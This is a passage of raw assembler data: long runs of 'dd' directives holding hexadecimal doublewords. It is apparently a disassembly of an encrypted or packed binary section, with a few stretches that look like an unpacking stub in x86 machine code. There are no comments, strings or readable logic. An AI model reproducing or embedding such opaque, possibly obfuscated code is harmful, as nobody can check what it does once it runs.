		dd 0CF5C841Ah, 0B3503306h, 0D800FE6Dh, 44B987E3h, 3000003h
		dd 83B6A9D8h, 36B7D0EEh, 2D541D9Bh, 0E98B8A4Bh,	0F6A56648h
		dd 5268A0D8h, 3924D292h, 4B617FC4h, 3924D299h, 0CDC978BDh
		dd 3F42F354h, 0E2C8E17Ch, 0FB0FA5CEh, 0F564FAD4h, 306BE0h
		dd 41A3839h, 3BBF16CDh,	796B81B9h, 522F8310h, 4E9307AEh
		dd 4E62B9Fh, 0C7E58EABh, 0A14A29B1h, 0D1566F35h, 0D7E5FF15h
		dd 2C712964h, 0B3622305h, 0DB9A223Fh, 0FA7D96B4h, 8ABC63Bh
		dd 3B5EA769h, 9EA0E8A9h, 36016h, 58059E00h, 8120C8E3h
		dd 0A64FF10Ch, 0CE971631h, 0F4B93E59h, 414C3E7Fh, 6984F9BCh
		dd 8CA71CD9h, 0B7D247EAh, 0F8F86D34h, 0EC9E465Ch, 3B83F49h
		dd 0ED86B32Bh, 0ECD4B9CFh, 0F22A3F49h, 0FFBA08DCh, 5A094E32h
		dd 6A83A1E6h, 0D11329C5h, 8532FFB9h, 89A41940h,	0A2341E4h
		dd 1ADBBD78h, 0ECF3896Bh, 0D532FFB9h, 753CBB52h, 0E9ABD293h
		dd 0F2441CAEh, 0EA0E9698h, 28000002h, 4E69DE9Bh, 779207AEh
		dd 9CB72CF5h, 0C4DF541Dh, 0C8097E23h, 872ACBD6h, 0AE6BF712h
		dd 0D5981E39h, 3A24560h, 0DCF28E8Eh, 3F49EE08h,	0B3C1994Eh
		dd 0B9CFED86h, 3F49ECD4h, 3D6F932Ah, 26E0A21Bh,	0A0BE0377h
		dd 44925268h, 7FC432FFh, 8858EED0h, 2432FF44h, 0D4D24187h
		dd 8D87EB5Eh, 1E7h, 0BC3B54D7h,	0A35213F5h, 536901A4h
		dd 3924D291h, 717389C5h, 0E53924D2h, 705279A0h,	188D54D7h
		dd 5977FC3Dh, 42F01643h, 3E52A3Fh, 6B4736Dh, 569C3933h
		dd 25CC6C85h, 8D15CDA8h, 40EF3329h, 0E3E78684h,	853F87h
		dd 0A230000h, 9E47E578h, 25D49577h, 0B93B546Dh,	4FF16F8h
		dd 0B0B4611h, 0BC7B2A51h, 0F9AD9E7Dh, 0AE402ADDh, 18316987h
		dd 1EC6DC96h, 383925A0h, 29EACCF3h, 0FFE1842Ah,	72938F3Eh
		dd 263F43CBh, 7769FFE1h, 4C330774h, 0C5ACB5B6h,	0AC142EDAh
		dd 670AA385h, 0A6C5DCBEh, 85E8F4C6h, 6EB4B79Eh,	2D467E94h
		dd 4708EA8Bh, 0FECF1598h, 7A34B0C6h, 0DD223307h, 0CCE9CC60h
		dd 21D0A18Eh, 0E3126765h, 0A12087h, 736A0000h, 0B64F31F0h
		dd 0F18A6C31h, 2CC5A74Eh, 0B1CAE889h, 0C7886A0Bh, 338BA318h
		dd 4C3924D7h, 0E48D30A9h, 0CC6D48BDh, 9B167B51h, 6A913B4Fh
		dd 3C51364Ch, 88A13F45h, 69F9E7E4h, 0E898F411h,	599E12C1h
		dd 0D89D223Bh, 2A74863h, 48FA5140h, 0F37B7DF2h,	165h, 0EE631EA3h
		dd 178C55D3h, 44B978FCh, 6EE38229h, 9A0FD253h, 0DB5C6759h
		dd 0FC86A116h, 0DB1CC41h, 55D8F368h, 7B17178Ch,	49EE7F65h
		dd 4A22D73Fh, 112FF273h, 0CFB170F8h, 0CFEA5F0Eh, 6C788E2Ch
		dd 0EA3924D2h, 60872ECDh, 73F0C439h, 0FA1331F0h, 10D1B372h
		dd 43E67F61h, 0C86B84A2h, 13304729h, 0FEC237B1h, 0B328D7FEh
		dd 0F21061D8h, 439BBCDCh, 9FBD023Fh, 93162F67h,	332FF0D2h
		dd 330701B1h, 0B2B160A5h, 0DBF3680Dh, 33070205h, 5E15089Fh
		dd 0CF464F85h, 1F9CD824h, 8E3DA8A3h, 384EEC8Fh,	330742ACh
		dd 203E65AAh, 0C89251E8h, 4A9C8478h, 780964Eh, 0CC7BC033h
		dd 0F6BB3C57h, 0A38C14h, 545A0000h, 18FAA73Bh, 50E9A857h
		dd 2406AB4Bh, 2047EA8Bh, 0CCC5DBF9h, 0E43F49ECh, 9B7D24C7h
		dd 0BA17CDE3h, 0FA3F32FFh, 0F78EACD3h, 85CC566Eh, 4A2CDBC5h
		dd 0EF8F0EB1h, 80A7684Ah, 0A44DF00Bh, 0E5E92CC2h, 5C599C6Ah
		dd 20C16416h, 30B4CA02h, 26C99330h, 3010D4EAh, 146C993h
		dd 9958DBDAh, 0A43B75EAh, 142CA15Ch, 1C1BCAD2h,	3EF6D899h
		dd 65E28325h, 0E5723224h, 0FDFCAB66h, 67D5B77Eh, 0BEEB14ABh
		dd 39BBA797h, 0FC1078Ah, 1650C56Ch, 8F1CC8DEh, 0F53AC993h
		dd 0FDA44746h, 3931Bh, 7F610000h, 33EE73A7h, 6C35B851h
		dd 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh
		dd 0E18024BDh, 1FC666FFh, 1468003Dh, 89000077h,	8953241Ch
		dd 4C381E3h, 83000000h,	1C8704EBh, 3C895C24h, 0E6895624h
		dd 4C681h, 0EE810000h, 4, 5C243487h, 56240489h,	0E15C84BEh
		dd 14F75632h, 0E6C15E24h, 7E6C104h, 0C1D8F681h,	0F789F33Eh
		dd 4EC815Eh, 89000000h,	4812424h, 424h,	81575800h, 5B372434h
		dd 408F2FC2h, 8B95108h,	1000000h, 373181C1h, 592FC25Bh
		dd 5624048Bh, 0C681E689h, 4, 8704C683h,	0FF5C2434h, 835F2434h
		dd 0B0E904C4h, 71FFF960h, 7C7D52E2h, 11598741h,	0BB52E8AFh
		dd 1E5AB864h, 0C5030625h, 979AE0FFh, 0BC7B642Fh, 8D4719B4h
		dd 74DA0474h, 0CC4B0808h, 0B31697Bh, 725E1021h,	0E9D6716h
		dd 0AC5C073Bh, 0DF1274B8h, 0F0DF1316h, 483E73BBh, 437708Ch
		dd 93ED6237h, 9A7A7819h, 197E5344h, 6F9C0EF5h, 0E16C2C01h
		dd 44B96337h, 21E52AD3h, 11D90EBAh, 3511446Dh, 0E32F1874h
		dd 5D3B3941h, 38325D0Dh, 27A82535h, 0B6874360h,	0E8862E34h
		dd 0F0FB6169h, 4EB4E71h, 2CBBFED5h, 542E9h, 0A855EE00h
		dd 0D1901833h, 0F6BF415Ch, 1EC76681h, 44E98EA9h, 919C8ECFh
		dd 0B9D449ECh, 0DCF76C29h, 722975Ah, 4848BD64h,	0F24E96ACh
		dd 53083F49h, 0F6A97E15h, 87C22238h, 4F943F4Ah,	8B66C5D2h
		dd 0F07324DCh, 7E974F31h, 868534F9h, 0ACC73CE1h, 4BEE9009h
		dd 718A4224h, 87482ACBh, 8F56D9D8h, 0CD9414ADh,	0B6CF67EBh
		dd 3DC06F36h, 3A245F7h,	2EF3738Eh, 55189EB9h, 8D48DA73h
		dd 0FD6566Fh, 54107E60h, 47F6BB3Bh, 2ACC7EC4h, 0D26A7A90h
		dd 0A7EC3924h, 0A3496280h, 0BF620302h, 0FD809B10h, 25BC5234h
		dd 0B33924D3h, 829B6CB2h, 945537FEh, 0D42B29E5h, 5AE481C5h
		dd 2E000000h, 1331F073h, 0D31FC5DBh, 0F2373924h, 17CB6143h
		dd 0B03924D3h, 4D14930Eh, 8AB4426h, 4DEC8769h, 40412D07h
		dd 0D48D8BFAh, 14681C5h, 90000000h, 0E2CF573h, 0D324C0D6h
		dd 0ED323924h, 8BA45C3Eh, 0A26345ECh, 0AD74F4F3h, 0EA8B32CBh
		dd 41878408h, 0D348E98Fh, 0F76C35B8h, 2FF27323h, 0FA7C954Dh
		dd 4BBB4BE1h, 0C9F089B0h, 812726E7h, 8E3DFEE0h,	6648E98Fh
		dd 882E47E5h, 934203E5h, 9718CA10h, 0BF425DD2h,	0F97B14F6h
		dd 6EA65638h, 5C42036h,	4D923925h, 66D51B9Eh, 81C59F78h
		dd 7731h, 0F2737B00h, 0C7849FD9h, 0FB22624Eh, 35FC8019h
		dd 8CD2CF53h, 1B9055DAh, 0D9104AE1h, 9A9F14F8h,	0A64BECEBh
		dd 0E58C2BC4h
		dd 70B65303h, 0C4FB1301h, 81E5681h, 39259FDCh, 0DE86357Ah
		dd 6Bh,	0D9F27328h, 2CA62340h, 2D4B723Dh, 0AECC9514h, 25D14C98h
		dd 16C50A39h, 561B9B34h, 89FD974h, 754DF8CDh, 0F97C2BE8h
		dd 0B97C01B3h, 974D639Bh, 0BF39254Ch, 8256CB7Ah, 4A2CF573h
		dd 0A0445A92h, 0C3924D2h, 24D2EEF6h, 0AF236839h, 22BFBB6Ah
		dd 0B63924D3h, 18CCE21Ah, 3E3924D3h, 81C74AF9h,	0C5D41412h
		dd 1CD81h, 73170000h, 0B54E30F1h, 23917332h, 660ABC02h
		dd 0E10AA1BFh, 1D20298Ch, 0DA3D6A66h, 0BEE50457h, 7ABF9A0Fh
		dd 0FBF8EC02h, 225E3924h, 24FBD80Ch, 12397E39h,	26B7CDEBh
		dd 223F4304h, 2A43FBDDh, 3BFCDE87h, 4BEA8D8Ch, 7938BBD6h
		dd 0F8BD425Bh, 11D16749h, 0B63306F4h, 0F38C6E37h, 4ECFB170h
		dd 2A2B054Bh, 1093458Bh, 3EC1DC51h, 46DD9577h, 327C228Ch
		dd 0B88704A4h, 0C4031236h, 680B0AB9h, 1828BCD2h, 0E92E3307h
		dd 0ED8BA4C2h, 0D199B1EEh, 6E95D957h, 3A1CCB8Ch, 0BE70B6B9h
		dd 0C55C7A3Bh, 9DEC389Eh, 0A34443C2h, 0AC5B1CFEh, 59615F37h
		dd 521A87E3h, 64000001h, 0CFED86B3h, 3BFA7E97h,	0D3D4259h
		dd 1967430Dh, 824743F2h, 9E3F4383h, 5BDE7759h, 0D8CD9944h
		dd 73222C2h, 72EF3433h,	84AB59E5h, 90152E66h, 0F613D1CDh
		dd 83993306h, 3306F561h, 0F73CB0F5h, 35B8D348h,	164E6Ch
		dd 3306F5E4h, 882E2D72h, 0BB5436E5h, 16977938h,	981BCD13h
		dd 8E8C64D9h, 4787E3B1h, 4Dh, 0FA8AB391h, 24D300E4h, 0EA115639h
		dd 7031B3CCh, 0A78DA3C1h, 4F3924D2h, 5292280Ah,	0B03924D2h
		dd 0B77AFB14h, 0CD3F8508h, 0F0B13370h, 8264D0Eh, 628298D0h
		dd 0F43924D1h, 300400AFh, 0C63924D2h, 0B9D20C81h, 0D1BF6E37h
		dd 9Dh,	0F686B39Fh, 24D304E0h, 0BD2A4939h, 69D58720h, 6B89B0F5h
		dd 0CDF99C33h, 2B5A9559h, 0B75807Ch, 0C7033F43h, 6DD33B1h
		dd 8C882333h, 43010C49h, 775980A7h, 611CA6BFh, 7130B3B2h
		dd 975EE1FCh, 95C01FB5h, 60FF3307h, 1CC5681Ah, 34B0C6FEh
		dd 22330794h, 97BE6705h, 0A19873E8h, 0C09CB2D0h, 0DC392CB3h
		dd 0D3823FC3h, 9F381A5Fh, 0DA73551Ch, 15AE9055h, 88EACC91h
		dd 0EC8F4187h, 294A1E45h, 76F912E3h, 7542A2B8h,	0CF142CE2h
		dd 5605C6A8h, 0B3D1A297h, 794BF9Dh, 0CD428733h,	0ED86B3F9h
		dd 0F2A3B9CFh, 0E0F93F49h, 75E99859h, 0B3C12339h, 509532FFh
		dd 0BAE4729h, 57DAF56Ah, 0F9D9708Eh, 765B719Eh,	0AA4022D1h
		dd 5D9E32C7h, 3EF03633h, 6A85FABBh, 0FDA046C7h,	263C5A1Bh
		dd 8607BBEh, 0E2C5398h,	0CAAC71F5h, 0EE958C09h,	0FAFB76F5h
		dd 29D0694Bh, 1738A688h, 366900D1h, 640D54B2h, 2A5A453h
		dd 6099E20Dh, 0D7FE1E60h, 6C0F2862h, 0CC646E6Fh, 668D25CBh
		dd 1514C384h, 39F1D392h, 0F8DA9F20h, 39A8837h, 68000000h
		dd 0EE73A77Fh, 35B85133h, 4DF18A6Ch, 952DC6A8h,	0C86D06E8h
		dd 5AA4325h, 46E57E60h,	8024BD9Fh, 0C666FFE1h, 56003D1Fh
		dd 0C681E689h, 4, 8704EE83h, 248B2434h,	26DD6824h, 1C890000h
		dd 2EF16824h, 2C890000h, 7B85024h, 2D56B752h, 648755A1h
		dd 231FBF57h, 0F80113F5h, 58C3895Fh, 4EC81h, 24890000h
		dd 24048124h, 4, 42B8685Dh, 1C890000h, 8458F24h, 56242C8Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h,	0C4815B24h
		dd 4, 0F95ADEE9h, 6FBFDDFFh, 0B8E801DEh, 6252447h, 0E0FFC503h
		dd 2891B473h, 594602B0h, 1F04DA93h, 5A2B8193h, 2B001604h
		dd 32D5EB2Eh, 69F62724h, 63F64B6Eh, 784EDF1Ch, 3A23000Dh
		dd 7C9B2B6Bh, 36FE940Eh, 6663B516h, 1EBFEB50h, 2DCA90B9h
		dd 55848541h, 41F86DAh,	59E3C245h, 6EA356BEh, 628C9F2Ch
		dd 3CE9261Bh, 6BA8268Ch, 3A0DC09Dh, 7A6F8272h, 290A5E11h
		dd 19D1BE72h, 224F92DDh, 377351E1h, 9916854h, 0EDE9h, 8C666000h
		dd 0F04A8D8h, 0DF84h, 45B58B00h, 83061E1Eh, 850F00FEh
		dd 22h,	204185C6h, 6845061Eh, 8E726969h, 2F1B5FFh, 858D061Eh
		dd 62178D1h, 8589D0FFh,	61E1375h, 3E80F08Bh, 31850FE9h
		dd 8D000000h, 236A0885h, 8BD0FF06h, 1E227DBDh, 84C78106h
		dd 8B000011h, 1E1E45B5h, 0B9F78706h, 8,	0B58BA4F3h, 61E1E45h
		dd 242F858Dh, 0D0FF0622h, 2981B58Bh, 0FE83061Eh, 22850F00h
		dd 0C6000000h, 1E204185h, 0F4685406h, 0FFFF4EBEh, 1E02F1B5h
		dd 0D1858D06h, 0FF062178h, 818589D0h, 8B061E29h, 0E93E80F0h
		dd 3A850Fh, 0B58B0000h,	61E2981h, 6A08858Dh, 0D0FF0623h
		dd 227DBD8Bh, 0C781061Eh, 1184h, 8B08C783h, 1E2981B5h
		dd 0B9F78706h, 8, 0B58BA4F3h, 61E2981h,	242F858Dh, 0D0FF0622h
		dd 858DC361h, 6252549h,	273D8589h, 8D8D061Eh, 62526DEh
		dd 0FE9h, 0C41A2400h, 0C1D60BD8h, 0CE5E306Ah, 0DF1934D9h
		dd 23758D89h, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0D65A81C3h, 76BA5C72h, 0C7078C54h
		dd 1E324D85h, 711406h, 0C38B6600h, 6985C7F8h, 61E31h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0AC2DC353h, 0BA663DC3h, 0B5FF4F63h, 61E327Dh
		dd 2ADF8166h, 0B995FFE0h, 66061E16h, 6AD1EBBAh,	0C195FF00h
		dd 8B061E26h, 2E0EEBC0h, 6855AF74h, 3B60D229h, 3DC3AC2Dh
		dd 0B304EB8Ah, 0E956760Ah, 0DF2h, 2528A568h, 5899E906h
		dd 0D968FFF9h, 0E9062529h, 0FFF9588Fh, 252BC568h, 5885E906h
		dd 0B068FFF9h, 0E906252Ch, 0FFF9587Bh, 2530B168h, 5871E906h
		dd 3F68FFF9h, 0E9062532h, 0FFF95867h, 25334E68h, 585DE906h
		dd 9031FFF9h, 0D75570E5h, 0FA7E990Eh, 0CABC63Bh, 50D5F065h
		dd 0E5D7188Dh, 1B9055DAh, 42B76200h, 6DE28727h,	9106AF52h
		dd 5DFF591h, 513F49FAh,	0BD54C49Ch, 1C904992h, 2423D203h
		dd 65FEE081h, 8A94BC2h,	5C3E6526h, 9C7E23C3h, 15C70D2Eh
		dd 435ED392h, 6F8AFFA2h, 0AA4325CCh, 93516707h,	38392542h
		dd 4F10F2B7h, 0FA6F96DBh, 0FC811A1Fh, 6F965739h, 601E3B51h
		dd 5223F43h, 1ADBBD60h,	0AED59C1Bh, 24AA36CCh, 65023307h
		dd 7EB2B01Fh, 4B6B87E3h, 0B5000000h, 0DE061C54h, 783924D2h
		dd 74C58433h, 12A9E1FFh, 1DD613AEh, 0F8F4A378h,	3F437F0Dh
		dd 0F28468Bh, 3416C56Ch, 5B9AE57Ch, 78FAA6E8h, 4F13CDC9h
		dd 0FC993307h, 584947B6h, 0D30287E3h, 0E6000000h, 0A5872ECDh
		dd 9EC56C0Ch, 0F07337EFh, 31B64F31h, 4EF18A6Ch,	892CC5A7h
		dd 645B73E8h, 1D3924D7h, 4B66DB9Ah, 54EB09A8h, 0DCE2ECB6h
		dd 4E6482E1h, 39246596h, 0EACC7BC0h, 0ADCBA891h, 6E501194h
		dd 0AA8C51D5h, 0B145C2E9h, 2818A160h, 0B1C7E594h, 3F42B118h
		dd 734EC308h, 798FADC6h, 392742A1h, 15CFE521h, 412CE5EAh
		dd 9EB7D5FCh, 0A22EFE19h, 6646E75Eh, 0E6069450h, 567DC22Ch
		dd 1E9FBA2Fh, 4326995Bh, 0EEF0EC2Ah, 0B8566h, 8835CE00h
		dd 0B170F813h, 0D69F213Ch, 0FEA74661h, 24C96E89h, 717C6EAFh
		dd 99B429CCh, 0BCD74C09h, 0E702773Ah, 28289D44h, 0FA6E768Ch
		dd 33E83F49h, 2FF2735Bh, 0C56780BAh, 0CA793A1Ch, 0AB128CBh
		dd 0A1C8896Bh, 86B3582Ch, 4CB9CFEDh, 0A23F42FEh, 0E4A0660Bh
		dd 0BD6C80AAh, 0CDE60449h, 0F9DB8A2Bh, 0E1802841h
		dd 938F3EFFh, 3306B34Dh, 0AB7CC25Fh, 5E663214h,	885E3BFh
		dd 3E614BE9h, 37F3A2AAh, 87E48239h, 0F5F2h, 0F0733C00h
		dd 76FA1331h, 78B6CDAFh, 0F43CE84Eh, 97ADCBF2h,	39254C4Dh
		dd 3315C409h, 0B5AC437Bh, 578ED5B0h, 590ED6D2h,	3483925h
		dd 0DD05554h, 9C52D6EFh, 25585E86h, 8CB3F839h, 5A65FBDDh
		dd 2739255Dh, 4D68DD84h, 0EFB233AAh, 0AC8DE6C8h, 35C6C571h
		dd 0BFE6DBA2h, 603E8BA1h, 1F383F43h, 0B125D49Dh, 26BDF76Ch
		dd 0BB9EAFBEh, 0F0F40A43h, 66330704h, 8C4BFA21h, 6EA6C4ADh
		dd 2B0DD055h, 4ABFBB6Ah, 563927AEh, 0FF1B439h, 6B34F4Eh
		dd 7A8C1DFh, 5B8F556Bh,	82C72CE6h, 2ACBE65Bh, 9894C587h
		dd 3C3EEC2Ah, 0A51B4h, 4C099A00h, 753CBCD7h, 0A243E500h
		dd 0CA6B122Dh, 0F0B53A55h, 3D483A7Bh, 6580F5B8h, 90AB20DDh
		dd 0BBD64BEEh, 4047938h, 0FB925268h, 0FC43F49h,	0BC3B5437h
		dd 0A64746F5h, 0F0738E03h, 0F00ED759h, 24D30ADAh, 0E0074C39h
		dd 0F073976Bh, 33B64F31h, 0FBE5FD72h, 0C83924D2h, 0EC077C25h
		dd 718AA849h, 9A7C2BCAh, 0D5B77E01h, 15F7BA3Ch,	2E44E67Ch
		dd 3924D2B6h, 52345BA0h, 0F8D218B7h, 0F7C80E11h, 0EB9A5BDEh
		dd 33A849ECh, 0C5D45D5Bh, 991681h, 0B3600000h, 97CFED86h
		dd 2A3465Fh, 24D2DE06h,	263C7839h, 3924D2BEh, 7D2C5398h
		dd 42F41081h, 3705A03Fh, 4FCD97E6h, 64FADC03h, 3305F07Ch
		dd 0DE4D9330h, 87E4B2E0h, 5E99h, 6B76E300h, 9A3924D2h
		dd 9EB4D29Fh, 3F42D59Bh, 90AB2065h, 0F684AEFh, 152B492Ah
		dd 3924EE10h, 0F30E83C8h, 73CCAE73h, 44A0B6C6h,	682CE8B4h
		dd 0E8B39252h, 0B7FC42Ch, 0C4A64FEEh, 97B5DC03h, 3A2465Fh
		dd 3E20DE86h, 7322BC5Ch, 67CA677h, 68DD2233h, 5E45Eh, 0AADC600h
		dd 0B304BC6Bh, 0CE971586h, 0E6042BECh, 41EB17AEh, 0DF757B9Fh
		dd 3CB90AF7h, 9CB2E3D7h, 3924F848h, 0F3A2C90Eh,	43049EF7h
		dd 0F3D51A3Fh, 0FE9F223Bh, 12D3B578h, 994809EBh, 6EB439Dh
		dd 86CC6933h, 0E3B81917h, 597D287h, 0D81C0000h,	0E390A99Eh
		dd 0F372AFC5h, 0C35E3F42h, 6D116C11h, 0F07473EAh, 678E4F31h
		dd 16C8F78Dh, 40F9DCCBh, 0F219D85Bh, 0E7B3BED4h, 78BD8F5Eh
		dd 26C5DE96h, 7E6001A7h, 28E796BDh, 2C426011h, 8943FB85h
		dd 0C1932AC1h, 5A7E3C3h, 7F9DE256h, 0BB128FE8h,	0F5A461D4h
		dd 7A3BBED7h, 27A2435Ch, 3AFBDD84h, 71703113h, 844527CEh
		dd 0A24560D5h, 0F32A4103h, 0A2A43C45h, 8651Ah, 6815AE00h
		dd 9150D8F3h, 0B67F011Ch, 0DE872641h, 4A94E69h,	515C4E8Fh
		dd 799409ACh, 9CB72CE9h, 0C7E2571Ah, 8087D24h, 0FD8E566Ch
		dd 13C83F49h, 18BD543Bh, 0A53F557Bh, 0B13925CEh, 0FD76EF6Ch
		dd 290BAA52h, 93924168h, 166F5110h, 31EC7623h, 0A3D6EC0Ah
		dd 333F4320h, 24D3921Ah, 344D6BB0h, 5F7AEFB2h, 0C4FC1ADFh
		dd 6E236AEh, 2CDB2033h,	0E230B44Ah, 429E3306h, 0C13306F2h
		dd 0E1802378h, 0F9173EFFh, 25054EE3h, 7B5DA239h, 0E89EFBE5h
		dd 0CE14B12Ch, 208615Fh, 321A8Eh, 0B3640000h, 0B9CFED86h
		dd 3F42F55Ch, 567BC15Ch, 22E99EDBh, 486119FBh, 31AFCA5h
		dd 9A279DDBh, 701F4620h, 1882h,	2BD1EA00h, 886A0BB2h, 39F1A0C7h
		dd 0CFED86B3h, 42E1ECB9h, 0C5A7EC3Fh, 31F07373h, 690FF66Fh
		dd 6EF6F8F8h, 77Ah, 0E833EC3h, 37AC75F3h, 64D9981Ch, 8E03A249h
		dd 0BA2FF273h, 0FB7C8779h, 1CA6C136h, 2DD1EC61h, 75F81388h
		dd 9B3737ACh, 49FE5F85h, 6A42F73Fh, 0CFED86B3h,	0D2638197h
		dd 79EA3924h, 434791F1h, 0CDCC1185h, 0E8A98B2Ah, 0CAE31B39h
		dd 0D7D38223h, 3F42EF92h, 0EFA789CEh, 0AD8F56D6h, 0BB3E3DECh
		dd 0F7D99C22h, 0E2021836h, 743306D6h, 7B93082Fh, 5A5210E6h
		dd 3A5088C0h, 0BBB9BAAh, 796B67ACh, 0DD0BBB9Bh,	132AE998h
		dd 4CA9405Eh, 41F0A4Ch,	3734B0C6h, 0DD220BBBh, 0B79207B6h
		dd 35839B82h, 9981D7FFh, 0BD3B5472h, 0AED59C1Ch, 3E5C0BCCh
		dd 0D9DC7D28h, 34165B11h, 1DC4637Ch, 0D6FD7A3Bh, 6FE45404h
		dd 3CBCBB6Ah, 5F7C687Eh, 3FDA059Dh, 0DE80A79Ah,	325980CCh
		dd 0C457E2BDh, 0D9D07C50h, 0A19A1723h, 0F1C0C9BEh, 5F97B5DCh
		dd 5403A246h, 0BB81D958h, 0D0546D0Bh, 0A9EE6211h, 33780FC7h
		dd 31F95724h, 0C3A54CEFh, 302CDB02h, 0FF7F9DB0h, 0EBCD9413h
		dd 2608AD52h, 0A37DC3C4h, 0BB3C558Dh, 0A45314F6h, 0F10ADB21h
		dd 4C5A74Eh, 59B9955h, 5054BB6Bh, 9E000001h, 0E39786B3h
		dd 7A55872Ah, 9ED6F41Bh, 0C945066h, 7DC23925h, 1997D2CEh
		dd 84C93F43h, 0BF6609A2h, 0E58C2F4Ah, 3AF46D03h, 0E9E65A52h
		dd 0A74EF1A3h, 0D461F832h, 0F51B1251h, 802322D1h, 0F869FFE1h
		dd 0F8330673h, 5CDF91D7h, 62052095h, 0B088E1C3h, 190CA3C1h
		dd 0E25779E3h, 20587625h, 4A9AB0E8h, 0CE47037h,	3719CBC7h
		dd 0F83DE470h, 36B74D49h, 0A3DFE470h, 7036578Dh, 93BAFFE4h
		dd 18D95C75h, 158B559Bh, 0E8978F51h, 0D0A19873h, 96599CB2h
		dd 3D75EA8Eh, 5247BD27h, 0F97C99DEh, 0EE621138h, 3D538BA9h
		dd 0DE5247A7h, 0D9BB6AAFh, 0D6F4BD40h, 927439BDh, 0D0B273F9h
		dd 0C439E80Fh, 7D5F06A9h, 524815E7h, 9C41E6DEh,	0D99C21BAh
		dd 77BD5CF7h, 62A8C99Dh, 388FA91h, 20687EC0h, 26CF7271h
		dd 0A0ED99B1h, 0DB6252A6h, 581F38BEh, 0ED5F02D6h, 3AAFD6FDh
		dd 23246900h, 8729BBD1h, 0E82D69FEh, 954E036Bh,	9D44E7E6h
		dd 0B2CB03BBh, 796B670Eh, 0DD69FEC1h, 997B3EC0h, 7D93B1D8h
		dd 69FEC167h, 0FFFBAAEFh, 0F0466895h, 0B668AEABh, 0C3FD7233h
		dd 1A6F758Bh, 0A2E7E3B7h, 0B071F4F3h, 0AFC475CEh, 1EB27B91h
		dd 0F136E9D5h, 5A727Ch,	0B3400000h, 9D6C9786h, 0E123DB1Eh
		dd 8F869CBAh, 293F43BDh, 0BBD1690Ch, 33077929h,	0DFC1E82Dh
		dd 7C15F71Eh, 27C035FCh, 56ED19FCh, 7AA21772h, 0C2813098h
		dd 0C7DDFB76h, 3307AC25h, 0B7CD0541h, 3307AC2Dh, 0FCE8E429h
		dd 5A3307ABh, 0B7D0EE15h, 0CE8F7130h, 0C5DEFC1Fh, 16CE7D20h
		dd 4F44BD54h, 0E2994B61h, 78BD3924h, 0B97A27FBh, 0F1680B0Ah
		dd 6C7A94Ch, 17306ADFh,	2AEBCD94h, 0F47DBC7Bh, 0FA99C0D6h
		dd 0CA73F43h, 0A46080F0h, 0D5F31AABh, 2773ABCh,	0C0A247E7h
		dd 94AAD267h, 33074050h, 0A243E906h, 0B1D8FFC0h, 5EFC7D93h
		dd 0A2DA3925h, 0C71F7B0Bh, 0A5A19EFFh, 2CE97F3Fh, 0AF23D217h
		dd 0FE144C6Ah, 2CE97EE6h, 8B2C2B70h, 9D5537E6h,	6143FE84h
		dd 0EBF5F1A0h, 182CE98Eh, 1C325021h, 3307A215h,	5F7896DBh
		dd 753618D9h, 924EE4C6h, 3126CB3Bh, 6F08EA8Bh, 9AC52CFh
		dd 5D3F6627h, 0DAB4FAFBh, 72E127C4h, 941F6B74h,	2B2Dh
		dd 0BD547700h, 531BE31h, 734ECB27h, 55C0D3B4h, 2712D180h
		dd 2726CF72h, 4001E386h, 30E5FB19h, 883F43CCh, 2ED96143h
		dd 0A7000000h, 0F9B83B54h, 0E8A75617h, 0CA022051h, 0ED8C11B1h
		dd 726E1D44h, 3F42E133h, 0BB7164FBh, 4426D36Fh,	71090683h
		dd 8FAC20CFh, 402249E8h, 0BA3B54EEh, 0A64948F7h, 103A3DFFh
		dd 9294F869h, 3790Ah, 7421C200h, 9D44E4FFh, 0CA6B0D28h
		dd 0F2B33A55h, 18DD627Dh, 657062A3h, 8DA81DC0h,	0B8D348F5h
		dd 0E3FE7336h, 2C2CA140h, 26A7A90h, 37EC3F4Ah, 31F0735Fh
		dd 7233B64Fh, 0DE061C54h, 783924D2h, 0EE15DC5Bh, 4AEFCA3Fh
		dd 64F50B29h, 323F42F0h, 0B600E4FAh, 11563306h
		dd 0C7A9EE62h, 6B5AF31h, 1A60FD33h, 0E8893049h,	0B630B4CAh
		dd 0E1263306h, 0ED787632h, 5C3187E3h, 7B000000h, 931586B3h
		dd 2238F0D2h, 3924D2C2h, 1284F94h, 0F4284CE3h, 0FEC7E028h
		dd 0EA1B314Fh, 0AE3F438Eh, 0EFF18769h, 0D4330738h, 94AB8D54h
		dd 0B3617501h, 0E58A8976h, 23C55E40h, 52989B82h, 932A6278h
		dd 0B0B4FFC6h, 261B9008h, 2E9158D5h, 579D20CFh,	0E2D6EAE8h
		dd 0F2A387h, 73ED0000h,	0DB1331F0h, 55A30544h, 2A2673A2h
		dd 3925C7BAh, 55C96C11h, 0C77F6110h, 0C76B798Fh, 0A6EB3925h
		dd 0B277F8F7h, 7FFF18D0h, 6817D8BAh, 3D1FC669h,	92D8EE85h
		dd 442C9A28h, 52139695h, 0D5FAC5DDh, 0E4873925h, 1E881F3Dh
		dd 0A6B56AC6h, 0CD077C2Bh, 87657F95h, 0ACF13925h, 0BA7BFEFDh
		dd 65E4839Ch, 7F4022C3h, 97B57658h, 25876381h, 0FFAEF339h
		dd 0FC75C41Dh, 9531C8DEh, 0A4F3F43h, 0F27FBA95h, 7A27BBD4h
		dd 0DE75ADCBh, 0DF902E50h, 10D4EA4Eh, 463307C2h, 2F2BDA01h
		dd 39286E52h, 0A3DBF93Eh, 8E3DF88Ah, 0D64BEE8Fh, 0B5773ABBh
		dd 0EC2B51BCh, 0EB7C0406h, 34000001h, 627DF2AFh, 8BA61BDAh
		dd 0B8D348E9h, 0E0FB7031h, 0E4259A5Fh, 0A346E7F2h, 0D28F132Eh
		dd 0F9BC425Dh, 1FC66984h, 0F80EAAAAh, 3F4A04ECh, 73DDB56Ah
		dd 9FBA2FF2h, 0CE0551Ch, 2E15BD54h, 0D24F1293h,	47F6BE78h
		dd 45E8B188h, 4157759Ch, 3F437CC4h, 0EC71112Ah,	1C2A44Dh
		dd 1CB72BDAh, 8BBD5ECDh, 0CCEA1150h, 8E7031B3h,	0A63C1ECDh
		dd 3307A43Ah, 208FD572h, 87E30322h, 0CD172D65h,	0FE330797h
